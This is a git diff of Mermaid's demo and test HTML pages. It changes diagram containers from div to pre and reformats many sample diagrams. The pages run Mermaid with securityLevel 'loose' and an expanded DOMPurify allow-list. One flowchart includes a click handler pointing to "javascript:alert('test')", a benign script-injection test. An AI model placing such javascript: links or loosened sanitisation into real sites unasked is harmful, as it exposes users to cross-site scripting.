||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,22 +1,20 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
|
||||
<!-- accDescription Tasks for Q4 -->
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<!-- accDescription Tasks for Q4 -->
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title A Gantt Diagram
|
||||
accDescription Remaining Q4 Tasks
|
||||
@@ -27,17 +25,18 @@ gantt
|
||||
section Another
|
||||
Task in sec :2014-01-12 , 12d
|
||||
another task : 24d
|
||||
</div>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
});
|
||||
</script>
|
||||
|
||||
</body>
|
||||
</pre
|
||||
>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
mermaid.initialize({
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
});
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
405
demos/index.html
405
demos/index.html
@@ -1,27 +1,26 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<body>
|
||||
<div class="mermaid">
|
||||
<body>
|
||||
<pre class="mermaid">
|
||||
info
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
C4Context
|
||||
title System Context diagram for Internet Banking System
|
||||
Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
@@ -64,9 +63,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
UpdateRelStyle(SystemC, customerA, $textColor="red", $lineColor="red", $offsetX="-50", $offsetY="20")
|
||||
|
||||
UpdateLayoutConfig($c4ShapeInRow="3", $c4BoundaryInRow="1")
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
C4Container
|
||||
title Container diagram for Internet Banking System
|
||||
|
||||
@@ -103,11 +102,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
UpdateRelStyle(backend_api, email_system, $offsetY="-60")
|
||||
Rel(backend_api, banking_system, "Uses", "sync/async, XML/HTTPS")
|
||||
UpdateRelStyle(backend_api, banking_system, $offsetY="-50", $offsetX="-140")
|
||||
</pre>
|
||||
|
||||
|
||||
</div>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
C4Component
|
||||
title Component diagram for Internet Banking System - API Application
|
||||
|
||||
@@ -144,10 +141,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
UpdateRelStyle(accounts, mbsfacade, $offsetX="140", $offsetY="10")
|
||||
UpdateRelStyle(security, db, $offsetY="-40")
|
||||
UpdateRelStyle(mbsfacade, mbs, $offsetY="-40")
|
||||
</pre>
|
||||
|
||||
</div>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
C4Dynamic
|
||||
title Dynamic diagram for Internet Banking System - API Application
|
||||
|
||||
@@ -164,9 +160,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
UpdateRelStyle(c1, c2, $textColor="red", $offsetY="-40")
|
||||
UpdateRelStyle(c2, c3, $textColor="red", $offsetX="-40", $offsetY="60")
|
||||
UpdateRelStyle(c3, c4, $textColor="red", $offsetY="-40", $offsetX="10")
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
C4Deployment
|
||||
title Deployment Diagram for Internet Banking System - Live
|
||||
|
||||
@@ -215,11 +211,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
UpdateRelStyle(api, db, $offsetY="-20", $offsetX="5")
|
||||
UpdateRelStyle(api, db2, $offsetX="-40", $offsetY="-20")
|
||||
UpdateRelStyle(db, db2, $offsetY="-10")
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
pie
|
||||
title Key elements in Product X
|
||||
accDescription This is a pie chart showing the key elements in Product X.
|
||||
@@ -227,9 +223,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
"Potassium" : 50.05
|
||||
"Magnesium" : 10.01
|
||||
"Iron" : 5
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title Airworks roadmap
|
||||
dateFormat YYYY-MM-DD
|
||||
@@ -244,8 +240,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
section Airworks 3.4.2
|
||||
开发 :a, 2021-10-09, 4d
|
||||
测试 :after a, 4d
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title Exclusive end dates (Manual date should end on 3d)
|
||||
dateFormat YYYY-MM-DD
|
||||
@@ -253,8 +249,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
section Section1
|
||||
2 Days: 1, 2019-01-01,2d
|
||||
Manual Date: 2, 2019-01-01,2019-01-03
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title Inclusive end dates (Manual date should end on 4th)
|
||||
dateFormat YYYY-MM-DD
|
||||
@@ -263,8 +259,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
section Section1
|
||||
2 Days: 1, 2019-01-01,2d
|
||||
Manual Date: 2, 2019-01-01,2019-01-03
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title Hide today marker (vertical line should not be visible)
|
||||
dateFormat YYYY-MM-DD
|
||||
@@ -272,8 +268,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
todayMarker off
|
||||
section Section1
|
||||
Today: 1, -1h
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
title Style today marker (vertical line should be 5px wide and half-transparent blue)
|
||||
dateFormat YYYY-MM-DD
|
||||
@@ -281,11 +277,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
todayMarker stroke-width:5px,stroke:#00f,opacity:0.5
|
||||
section Section1
|
||||
Today: 1, -1h
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
sid-B3655226-6C29-4D00-B685-3D5C734DC7E1["
|
||||
|
||||
@@ -381,16 +377,16 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
sid-3E35A7FF-A2F4-4E07-9247-DBF884C81937-->sid-6C2120F3-D940-4958-A067-0903DCE879C4;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4DA958A0-26D9-4D47-93A7-70F39FD7D51A;
|
||||
sid-7CE72B24-E0C1-46D3-8132-8BA66BE05AA7-->sid-4FC27B48-A6F9-460A-A675-021F5854FE22;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{Let me thinksssssx<br />sssssssssssssssssssuuu<br />tttsssssssssssssssssssssss}
|
||||
C -->|One| D[Laptop]
|
||||
C -->|Two| E[iPhone]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[/Christmas\]
|
||||
A -->|Get money| B[\Go shopping/]
|
||||
@@ -398,8 +394,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
C -->|One| D[/Laptop/]
|
||||
C -->|Two| E[\iPhone\]
|
||||
C -->|Three| F[Car]
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
47(SAM.CommonFA.FMESummary)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
37(SAM.CommonFA.BudgetSubserviceLineVolume)-->48(SAM.CommonFA.CommonFAFinanceBudget)
|
||||
@@ -421,8 +417,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
39(SAM.CommonFA.ChargeDetails)-->40(SAM.CommonFA.OPVisits)
|
||||
35(SAM.CommonFA.PopulationFME)-->39(SAM.CommonFA.ChargeDetails)
|
||||
36(SAM.CommonFA.PremetricCost)-->39(SAM.CommonFA.ChargeDetails)
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
9e122290_1ec3_e711_8c5a_005056ad0002("fa:fa-creative-commons My System | Test Environment")
|
||||
82072290_1ec3_e711_8c5a_005056ad0002("fa:fa-cogs Shared Business Logic Server:Service 1")
|
||||
@@ -486,14 +482,14 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
c0102290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->d6072290_1ec3_e711_8c5a_005056ad0002
|
||||
9a072290_1ec3_e711_8c5a_005056ad0002-->71082290_1ec3_e711_8c5a_005056ad0002
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
subgraph One
|
||||
a1-->a2
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
A
|
||||
B
|
||||
@@ -521,8 +517,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
|
||||
style foo fill:#F99,stroke-width:2px,stroke:#F0F,color:darkred
|
||||
style bar fill:#999,stroke-width:10px,stroke:#0F0,color:blue
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
456ac9b0d15a8b7f1e71073221059886[1051 AAA fa:fa-check]
|
||||
f7f580e11d00a75814d2ded41fe8e8fe[1141 BBB fa:fa-check]
|
||||
@@ -536,8 +532,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
click 81dc9bdb52d04dc20036dbd8313ed055 "/admin/user/view?id=1234" "CCC
|
||||
3000"
|
||||
style 456ac9b0d15a8b7f1e71073221059886 fill:#f9f,stroke:#333,stroke-width:4px
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[Christmas] -->|Get money| B(Go shopping)
|
||||
B --> C{{Let me think...<br />Do I want something for work,<br />something to spend every free second with,<br />or something to get around?}}
|
||||
@@ -549,8 +545,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A([stadium shape test])
|
||||
A -->|Get money| B([Go shopping])
|
||||
@@ -563,8 +559,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[[subroutine shape test]]
|
||||
A -->|Get money| B[[Go shopping]]
|
||||
@@ -577,8 +573,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
class C someclass;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[(cylindrical<br />shape<br />test)]
|
||||
A -->|Get money| B1[(Go shopping 1)]
|
||||
@@ -595,8 +591,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
click B testClick "click test"
|
||||
classDef someclass fill:#f96;
|
||||
class A someclass;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A1[Multi<br>Line] -->|Multi<br>Line| B1(Multi<br>Line)
|
||||
C1[Multi<br />Line] -->|Multi<br />Line| D1(Multi<br />Line)
|
||||
@@ -607,16 +603,16 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
linkStyle 0 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 1 stroke:DarkGray,stroke-width:2px
|
||||
linkStyle 2 stroke:DarkGray,stroke-width:2px
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A(( )) -->|step 1| B(( ))
|
||||
B(( )) -->|step 2| C(( ))
|
||||
C(( )) -->|step 3| D(( ))
|
||||
linkStyle 1 stroke:greenyellow,stroke-width:2px
|
||||
style C fill:greenyellow,stroke:green,stroke-width:4px
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TB
|
||||
TITLE["Link Click Events<br>(click the nodes below)"]
|
||||
A["link test (open in same tab)"]
|
||||
@@ -632,9 +628,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
click D "mailto:user@user.user" "mailto test"
|
||||
click E "notes://do-your-thing/id" "other protocol test"
|
||||
click F "javascript:alert('test')" "script test"
|
||||
</div>
|
||||
<hr />
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<hr />
|
||||
<pre class="mermaid">
|
||||
graph LR
|
||||
A[red<br>text] -->|red<br>text| B(blue<br>text)
|
||||
C[/red<br />text/] -->|blue<br />text| D{blue<br />text}
|
||||
@@ -648,8 +644,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
style D stroke:#0000ff,fill:#ccccff,color:#0000ff
|
||||
click B "index.html#link-clicked" "link test"
|
||||
click D testClick "click test"
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
graph TD
|
||||
A[myClass1] --> B[default] & C[default]
|
||||
B[default] & C[default] --> D[myClass2]
|
||||
@@ -659,11 +655,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
classDef myClass2 stroke:#0000ff,fill:#ccccff
|
||||
class A myClass1
|
||||
class D myClass2
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
sequenceDiagram
|
||||
accDescription Hello friends
|
||||
participant Alice
|
||||
@@ -696,8 +692,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
and
|
||||
Alice -->> John: Parallel message 2
|
||||
end
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
sequenceDiagram
|
||||
participant 1 as multiline<br>using #lt;br#gt;
|
||||
participant 2 as multiline<br />using #lt;br/#gt;
|
||||
@@ -711,8 +707,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
note right of 4: multiline<br />using #lt;br /#gt;
|
||||
4->>1: multiline<br />using #lt;br /#gt;
|
||||
note right of 1: multiline<br />using #lt;br /#gt;
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
sequenceDiagram
|
||||
autonumber
|
||||
Alice->>John: Hello John,<br>how are you?
|
||||
@@ -721,11 +717,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
John-->>Alice: Hi Alice,<br />I can hear you!
|
||||
autonumber off
|
||||
John-->>Alice: I feel great!
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -762,8 +758,8 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
Describe gantt syntax :after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
gantt
|
||||
dateFormat YYYY-MM-DD
|
||||
axisFormat %d/%m
|
||||
@@ -793,11 +789,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
Describe gantt syntax : after doc1, 3d
|
||||
Add gantt diagram to demo page : 20h
|
||||
Add another diagram to demo page : 48h
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
gitGraph:
|
||||
options
|
||||
{
|
||||
@@ -815,11 +811,11 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
commit
|
||||
commit
|
||||
merge newbranch
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
Class01 <|-- AveryLongClass : Cool
|
||||
|
||||
@@ -841,9 +837,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
int id
|
||||
size()
|
||||
}
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
class Class01~T~
|
||||
Class01 : #size()
|
||||
@@ -854,9 +850,9 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
int id
|
||||
size()
|
||||
}
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
Class01~T~ <|-- AveryLongClass : Cool
|
||||
<<interface>> Class01
|
||||
@@ -877,22 +873,22 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
int id
|
||||
size()
|
||||
}
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
Interface1 ()-- Interface1Impl
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
direction LR
|
||||
Animal ()-- Dog
|
||||
Dog : bark()
|
||||
Dog : species()
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
classDiagram
|
||||
direction RL
|
||||
Fruit ()-- Apple
|
||||
@@ -902,25 +898,25 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
Pineapple : color()
|
||||
Pineapple : -int leafCount()
|
||||
Pineapple : -int spikeCount()
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
stateDiagram
|
||||
accDescription This is a state diagram showing one state
|
||||
State1
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr>
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
stateDiagram
|
||||
[*] --> First
|
||||
state First {
|
||||
[*] --> second
|
||||
second --> [*]
|
||||
}
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
stateDiagram
|
||||
State1: The state with a note
|
||||
note right of State1
|
||||
@@ -929,18 +925,18 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
end note
|
||||
State1 --> State2
|
||||
note left of State2 : This is the note to the left.
|
||||
</div>
|
||||
<div class="mermaid">
|
||||
</pre>
|
||||
<pre class="mermaid">
|
||||
stateDiagram
|
||||
State1
|
||||
note right of State1
|
||||
Line1<br>Line2<br />Line3<br />Line4<br />Line5
|
||||
end note
|
||||
</div>
|
||||
</pre>
|
||||
|
||||
<hr />
|
||||
<hr />
|
||||
|
||||
<div class="mermaid">
|
||||
<pre class="mermaid">
|
||||
requirementDiagram
|
||||
|
||||
requirement An Example {
|
||||
@@ -1007,96 +1003,95 @@ Enterprise_Boundary(b0, "BankBoundary0") {
|
||||
test_req4 - derives -> test_req5
|
||||
test_req5 - refines -> test_req6
|
||||
test_entity3 - verifies -> test_req5
|
||||
An Example <- copies - test_entity2 </div>
|
||||
</div>
|
||||
An Example <- copies - test_entity2
|
||||
</pre>
|
||||
|
||||
<h1 id="link-clicked">Anchor for "link-clicked" test</h1>
|
||||
<h1 id="link-clicked">Anchor for "link-clicked" test</h1>
|
||||
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
const ALLOWED_TAGS = [
|
||||
'a',
|
||||
'b',
|
||||
'blockquote',
|
||||
'br',
|
||||
'dd',
|
||||
'div',
|
||||
'dl',
|
||||
'dt',
|
||||
'em',
|
||||
'foreignObject',
|
||||
'h1',
|
||||
'h2',
|
||||
'h3',
|
||||
'h4',
|
||||
'h5',
|
||||
'h6',
|
||||
'h7',
|
||||
'h8',
|
||||
'hr',
|
||||
'i',
|
||||
'li',
|
||||
'ul',
|
||||
'ol',
|
||||
'p',
|
||||
'pre',
|
||||
'span',
|
||||
'strike',
|
||||
'strong',
|
||||
'table',
|
||||
'tbody',
|
||||
'td',
|
||||
'tfoot',
|
||||
'th',
|
||||
'thead',
|
||||
'tr',
|
||||
];
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
dompurifyConfig: {
|
||||
USE_PROFILES: {
|
||||
svg: true,
|
||||
<script src="./mermaid.js"></script>
|
||||
<script>
|
||||
const ALLOWED_TAGS = [
|
||||
'a',
|
||||
'b',
|
||||
'blockquote',
|
||||
'br',
|
||||
'dd',
|
||||
'div',
|
||||
'dl',
|
||||
'dt',
|
||||
'em',
|
||||
'foreignObject',
|
||||
'h1',
|
||||
'h2',
|
||||
'h3',
|
||||
'h4',
|
||||
'h5',
|
||||
'h6',
|
||||
'h7',
|
||||
'h8',
|
||||
'hr',
|
||||
'i',
|
||||
'li',
|
||||
'ul',
|
||||
'ol',
|
||||
'p',
|
||||
'pre',
|
||||
'span',
|
||||
'strike',
|
||||
'strong',
|
||||
'table',
|
||||
'tbody',
|
||||
'td',
|
||||
'tfoot',
|
||||
'th',
|
||||
'thead',
|
||||
'tr',
|
||||
];
|
||||
mermaid.initialize({
|
||||
theme: 'forest',
|
||||
// themeCSS: '.node rect { fill: red; }',
|
||||
logLevel: 3,
|
||||
securityLevel: 'loose',
|
||||
flowchart: { curve: 'basis' },
|
||||
gantt: { axisFormat: '%m/%d/%Y' },
|
||||
sequence: { actorMargin: 50 },
|
||||
dompurifyConfig: {
|
||||
USE_PROFILES: {
|
||||
svg: true,
|
||||
},
|
||||
ADD_TAGS: ALLOWED_TAGS,
|
||||
ADD_ATTR: ['transform-origin'],
|
||||
},
|
||||
ADD_TAGS: ALLOWED_TAGS,
|
||||
ADD_ATTR: ['transform-origin'],
|
||||
},
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function ganttTestClick(a, b, c) {
|
||||
console.log('a:', a);
|
||||
console.log('b:', b);
|
||||
console.log('c:', c);
|
||||
}
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
const testLineEndings = (test, input) => {
|
||||
try {
|
||||
mermaid.render(test, input, () => {});
|
||||
} catch (err) {
|
||||
console.error('Error in %s:\n\n%s', test, err);
|
||||
// sequenceDiagram: { actorMargin: 300 } // deprecated
|
||||
});
|
||||
</script>
|
||||
<script>
|
||||
function ganttTestClick(a, b, c) {
|
||||
console.log('a:', a);
|
||||
console.log('b:', b);
|
||||
console.log('c:', c);
|
||||
}
|
||||
};
|
||||
|
||||
testLineEndings('CR', 'graph LR\rsubgraph CR\rA --> B\rend');
|
||||
testLineEndings('LF', 'graph LR\nsubgraph LF\nA --> B\nend');
|
||||
testLineEndings('CRLF', 'graph LR\r\nsubgraph CRLF\r\nA --> B\r\nend');
|
||||
</script>
|
||||
</body>
|
||||
function testClick(nodeId) {
|
||||
console.log('clicked', nodeId);
|
||||
var originalBgColor = document.querySelector('body').style.backgroundColor;
|
||||
document.querySelector('body').style.backgroundColor = 'yellow';
|
||||
setTimeout(function () {
|
||||
document.querySelector('body').style.backgroundColor = originalBgColor;
|
||||
}, 100);
|
||||
}
|
||||
</script>
|
||||
<script>
|
||||
const testLineEndings = (test, input) => {
|
||||
try {
|
||||
mermaid.render(test, input, () => {});
|
||||
} catch (err) {
|
||||
console.error('Error in %s:\n\n%s', test, err);
|
||||
}
|
||||
};
|
||||
|
||||
testLineEndings('CR', 'graph LR\rsubgraph CR\rA --> B\rend');
|
||||
testLineEndings('LF', 'graph LR\nsubgraph LF\nA --> B\nend');
|
||||
testLineEndings('CRLF', 'graph LR\r\nsubgraph CRLF\r\nA --> B\r\nend');
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
||||
@@ -1,21 +1,20 @@
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta charset="utf-8" />
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=" />
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
<head>
|
||||
<meta charset="utf-8">
|
||||
<meta http-equiv="X-UA-Compatible" content="IE=edge">
|
||||
<title>Mermaid Quick Test Page</title>
|
||||
<link rel="icon" type="image/png" href="data:image/png;base64,iVBORw0KGgo=">
|
||||
<style>
|
||||
div.mermaid {
|
||||
/* font-family: 'trebuchet ms', verdana, arial; */
|
||||
font-family: 'Courier New', Courier, monospace !important;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
|
||||
